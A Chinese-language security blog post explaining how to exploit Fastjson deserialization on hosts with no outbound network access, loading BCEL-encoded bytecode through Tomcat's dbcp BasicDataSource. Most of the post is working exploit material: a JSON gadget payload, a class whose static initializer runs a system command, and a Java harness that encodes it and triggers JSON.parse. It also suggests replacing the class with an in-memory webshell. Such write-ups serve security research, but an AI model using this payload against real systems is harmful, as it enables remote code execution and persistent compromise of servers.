Java安全之Fastjson內網利用

nice_0e3發表於2021-06-29

Java安全之Fastjson內網利用

0x00 前言

在打Fastjson的時候,基本上都是使用JNDI注入的方式去打,也就是

JdbcRowSetImpl 鏈分析的鏈去打,但是遇到一些不出網的情況就沒辦法使用該鏈去執行命令。JdbcRowSetImpl 鏈分析

但在看到kingx師傅的一篇[Java動態類載入,當FastJson遇到內網]後,陷入了沉思。

0x01 BCEL位元組碼

這用到的是BCEL位元組碼然後使用classload進行載入。但是思考到一個問題,為什麼是使用BCEL也不是直接使用TemplatesImpl鏈去做本地的命令執行呢?其實前文中提到過這TemplatesImpl的漏洞觸發點會有限制。呼叫parseObject()方法時,需要加入Feature.SupportNonPublicField引數。

而在tomcat中的 com.sun.org.apache.bcel.internal.util.ClassLoader 的loadclass方法中可以進行bcel位元組碼的載入。

 protected Class loadClass(String class_name, boolean resolve)
    throws ClassNotFoundException
  {
    Class cl = null;

    /* First try: lookup hash table.
     */
    if((cl=(Class)classes.get(class_name)) == null) {
      /* Second try: Load system class using system class loader. You better
       * don't mess around with them.
       */
      for(int i=0; i < ignored_packages.length; i++) {
        if(class_name.startsWith(ignored_packages[i])) {
          cl = deferTo.loadClass(class_name);
          break;
        }
      }

      if(cl == null) {
        JavaClass clazz = null;

        /* Third try: Special request?
         */
        if(class_name.indexOf("$$BCEL$$") >= 0)
          clazz = createClass(class_name);
        else { // Fourth try: Load classes via repository
          if ((clazz = repository.loadClass(class_name)) != null) {
            clazz = modifyClass(clazz);
          }
          else
            throw new ClassNotFoundException(class_name);
        }

        if(clazz != null) {
          byte[] bytes  = clazz.getBytes();
          cl = defineClass(class_name, bytes, 0, bytes.length);
        } else // Fourth try: Use default class loader
          cl = Class.forName(class_name);
      }

      if(resolve)
        resolveClass(cl);
    }

    classes.put(class_name, cl);

    return cl;
  }

判斷是否為$$BCEL$$的話則呼叫createClass方法,否則呼叫modifyClass方法返回一個class,modifyClass方法則是呼叫自帶的classloader來載入。

來看到createClass方法

protected JavaClass createClass(String class_name) {
    int    index     = class_name.indexOf("$$BCEL$$");
    String real_name = class_name.substring(index + 8);

    JavaClass clazz = null;
    try {
      byte[]      bytes  = Utility.decode(real_name, true);
      ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");

      clazz = parser.parse();
    } catch(Throwable e) {
      e.printStackTrace();
      return null;
    }

擷取$$BCEL$$位元組後面的內容然後進行解密,解密為class位元組碼,呼叫defineClass進行載入位元組碼。

com.sun.org.apache.bcel.internal.classfile.Utility包中有BCEL位元組碼的解密和解密方法。

String s =  Utility.encode(data,true);

byte[] bytes  = Utility.decode(s, true);

0x02 利用鏈

新增tomcat依賴

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>9.0.8</version>
</dependency>

來看到poc

{
    {
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "x"
}

使用該poc載入bcel位元組碼。詳細可移步到[Java動態類載入,當FastJson遇到內網]

編寫一個test類

package com;

import java.io.IOException;

public class test {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

package com;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
class fj_test {
    public static void main(String[] argv) throws Exception{
        JavaClass cls = Repository.lookupClass(test.class);
        String code = Utility.encode(cls.getBytes(), true);//轉換為位元組碼並編碼為bcel位元組碼
        
        String poc = "{\n" +
                "    {\n" +
                "        \"aaa\": {\n" +
                "                \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
                "                \"driverClassLoader\": {\n" +
                "                    \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
                "                },\n" +
                "                \"driverClassName\": \"$$BCEL$$"+ code+ "\"\n" +
                "        }\n" +
                "    }: \"bbb\"\n" +
                "}";
        System.out.println(poc);
        JSON.parse(poc);
    }
}

需要打記憶體馬替換為記憶體馬class即可。

在tomcat8以後和tomcat7的版本存在一點小差異

tomcat7使用的類是org.apache.tomcat.dbcp.dbcp.BasicDataSource,而在8版本以後名為org.apache.tomcat.dbcp.dbcp2.BasicDataSource

0x03 結尾

即便如此我個人依然覺得fastjson並不能算是一個利用比較舒服的洞。而在實際中遇到更多的可能只是去進行反彈shell利用,需要使用becl必須考慮到fastjson版本問題。或在利用RMI/LDAP的話也會有JDK版本限制。

相關文章